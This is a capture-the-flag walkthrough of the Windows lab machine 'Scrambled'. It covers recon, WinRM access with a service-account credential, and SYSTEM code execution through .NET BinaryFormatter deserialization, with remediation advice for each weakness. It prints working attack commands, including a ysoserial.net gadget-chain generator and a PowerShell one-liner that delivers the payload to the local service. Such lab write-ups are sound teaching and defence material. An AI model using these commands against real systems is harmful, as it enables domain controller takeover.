← all walkthroughs

Scrambled

Windows· Medium
owned
2026-10-10
time to own
29m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Anyone who held a low-privileged domain service account credential (scrm.local\MiscSvc) used it to open a Kerberos-authenticated WinRM session on the Kerberos-only domain controller DC1, giving a regular-user shell. Files for a custom internal 'ScrambleCorp Orders' client/library found on the host were decompiled, revealing that a locally-listening order service (TCP 4411, running as SYSTEM) deserializes my own data with the unsafe .NET BinaryFormatter API.

A crafted serialized object sent through the service's UPLOAD_ORDER command executed my code as SYSTEM, giving full control of the domain controller and access to the root flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"

Some commands also carry a value in angle brackets — <base64-command> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceActive scanning and network service discovery (MITRE ATT&CK T1046)
Mapped the domain controller and its exposed services
A port sweep identified the target as a Windows Active Directory domain controller (DC1, domain scrm.local) exposing the standard AD service set (Kerberos, LDAP, SMB, DNS) alongside IIS, SQL Server, WinRM, and an unusual custom application port, 4411. The domain enforces Kerberos-only authentication (NTLM disabled), so every subsequent step had to target the DC by FQDN with time-synced Kerberos auth rather than NTLM over the raw IP.
Open ports 53, 88, 135, 139, 389, 445, 464, 593, 636, 1433, 3268, 3269, 4411, 5985, 9389 on $TARGET; IIS/Kerberos/LDAP/MSSQL/SMB fingerprinted.
Exact commands 3
shell

Full TCP sweep with service/version detection.

$ nmap -Pn -p- --min-rate 2000 -sV -oN scrambled.nmap $TARGET
shell

Kerberos requires resolving the DC by FQDN, not IP.

$ echo "$TARGET scrm.local dc1.scrm.local" | sudo tee -a /etc/hosts
shell

Sync local clock with the DC; Kerberos tickets fail outside the default 5-minute skew.

$ sudo ntpdate dc1.scrm.local
2Initial AccessValid Accounts: Domain Accounts over WinRM (MITRE ATT&CK T1078.002 / T1021.006)
Authenticated to the domain controller over WinRM with a service-account credential
A credential for the domain service account scrm.local\MiscSvc was available to me and was valid for remote management access on the domain controller. Using it over Kerberos-authenticated WinRM produced an interactive PowerShell session as scrm\miscsvc, confirming foothold access and allowing the user flag to be read directly from the account's desktop.
Evil-WinRM session returned 'scrm\miscsvc' on host DC1; user.txt read from C:\Users\MiscSvc\Desktop.
Exact commands 2
shell

NTLM is disabled domain-wide; Evil-WinRM must negotiate Kerberos (realm set with -r). Obtain a TGT first with Impacket getTGT.py and export KRB5CCNAME if needed.

$ evil-winrm -i dc1.scrm.local -u MiscSvc -p '<MiscSvc-password>' -r SCRM.LOCAL
shell

Confirm access as scrm\miscsvc before reading the flag; replace the output with <user.txt>.

$ whoami; hostname; Get-Content C:\Users\MiscSvc\Desktop\user.txt
scrm\miscsvc
FixRestrict WinRM access and rotate/limit the MiscSvc service accountHigh
WeaknessThe domain service account scrm.local\MiscSvc had a usable credential and was permitted to open an interactive WinRM (Remote Management) session on the domain controller, giving an unauthorised user a full interactive shell from a single leaked service credential.
FixRemove service accounts from the Remote Management Users group / WinRM access list unless they genuinely need interactive remote shell access; use Group Managed Service Accounts (gMSA) with no human-usable password for service accounts; rotate the MiscSvc credential and audit where else it is used; and restrict WinRM listener access to a dedicated management network via firewall/IP ACLs.
3DiscoveryStatic analysis of a .NET application to locate an insecure deserialization sink (supports MITRE ATT&CK T1190 — exploitation of a locally listening service)
Reverse-engineered the custom order-processing client and library
A custom application pair, ScrambleClient.exe and ScrambleLib.dll, was found on the host. Extracting strings and decompiling the assemblies showed the client talks to a local listener over a simple text protocol (an UPLOAD_ORDER;<base64-data> command against TCP port 4411, banner SCRAMBLECORP_ORDERS_V1.0.3), and that the server-side sales-order handling code deserializes the supplied data using the legacy .NET BinaryFormatter API — an API Microsoft has deprecated specifically because it allows arbitrary code execution from untrusted input.
ScrambleLib/SalesOrder.cs showed BinaryFormatter.Deserialize() called on data from the UPLOAD_ORDER command; strings output confirmed the client/server protocol and config fields (SERVER=, PORT=).
Exact commands 3
shell

Pull UTF-16 strings to identify config fields and window/protocol names.

$ strings -el ScrambleClient.exe; strings -el ScrambleLib.dll
shell

Decompile both .NET assemblies to readable C# source.

$ ilspycmd -p -o decompiled-lib ScrambleLib.dll && ilspycmd -p -o decompiled-client ScrambleClient.exe
shell

Locate the protocol command and the unsafe deserialization call in SalesOrder.cs.

$ rg -n -i -C 12 'UPLOAD_ORDER|BinaryFormatter|Serialize\(|Deserialize\(' decompiled-client decompiled-lib
FixRemove BinaryFormatter from the ScrambleCorp Orders service and isolate the listenerCritical
WeaknessThe internal order-processing service running as SYSTEM on TCP 4411 deserialized externally supplied data using .NET BinaryFormatter, an API Microsoft has officially deprecated because it cannot be made safe against malicious input and allows arbitrary code execution during deserialization.
FixRemove BinaryFormatter entirely and replace it with a safe serializer (e.g. System.Text.Json or a strict schema-bound contract) that never deserializes arbitrary .NET types; if BinaryFormatter cannot be removed immediately, apply a SerializationBinder allow-list to restrict deserializable types. Also run the order service under a least-privilege account instead of SYSTEM, and bind the listener to loopback-only with authentication so a compromised low-privilege session cannot reach it unauthenticated.
4WeaponizationDeserialization payload generation with ysoserial.net (CWE-502 — Deserialization of Untrusted Data)
Built a BinaryFormatter gadget-chain payload for the order service
Using the public ysoserial.net tool, a serialized .NET object (gadget chain) was generated that, when deserialized by a vulnerable BinaryFormatter call, runs my own command. The payload was base64-encoded to match the UPLOAD_ORDER protocol format and staged on the compromised host for delivery to the local service.
Payload staged at C:\Users\MiscSvc\Music\salesorder-system.b64 on the target from the existing WinRM session.
Exact commands 2
shell

Generate a BinaryFormatter gadget chain; swap the -c command for the action to run as SYSTEM.

$ ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -enc <base64-command>" > payload.b64
shell

Evil-WinRM 'upload' command; stage the payload on the target for the next step.

$ upload payload.b64 C:\Users\MiscSvc\Music\salesorder-system.b64
5Privilege EscalationExploitation of insecure deserialization in a privileged local service (CWE-502 / MITRE ATT&CK T1055)
Triggered deserialization on the local SYSTEM-owned order service to execute code as SYSTEM
From the authenticated WinRM session, a raw TCP connection was opened to the order service on 127.0.0.1:4411 and the staged gadget-chain payload was submitted via the UPLOAD_ORDER protocol command. The service, which runs with SYSTEM privileges, deserialized my own object with BinaryFormatter and executed the embedded command, yielding code execution as nt authority\system. From that SYSTEM context the root flag was read directly.
Server returned RESPONSE=ERROR_GENERAL alongside a deserialization exception, but the embedded gadget command still executed; a subsequent shell returned 'nt authority\system' and read C:\Users\Administrator\Desktop\root.txt.
Exact commands 2
shell

Run inside the WinRM session; sends the staged gadget payload to the local vulnerable service.

$ $p=(Get-Content -Raw C:\Users\MiscSvc\Music\salesorder-system.b64).Trim(); $c=New-Object Net.Sockets.TcpClient('127.0.0.1',4411); $s=$c.GetStream(); $r=New-Object IO.StreamReader($s,[Text.Encoding]::ASCII); $w=New-Object IO.StreamWriter($s,[Text.Encoding]::ASCII); $w.AutoFlush=$true; $banner=$r.ReadLine(); $w.WriteLine('UPLOAD_ORDER;'+$p); $response=$r.ReadLine(); $w.WriteLine('QUIT'); $c.Close()
shell

Run from the SYSTEM-level shell obtained via the gadget's embedded command; replace output with <root.txt>.

$ whoami; Get-Content C:\Users\Administrator\Desktop\root.txt
nt authority\system

Attack patterns used

The transferable techniques behind this compromise.

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.

Why it works

A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.

Read more

Exposed services

53/tcp
80/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
1433/tcp
3268/tcp
3269/tcp
4411/tcp
5985/tcp
9389/tcp
49667/tcp
49673/tcp
49674/tcp
49698/tcp
49708/tcp
53/udp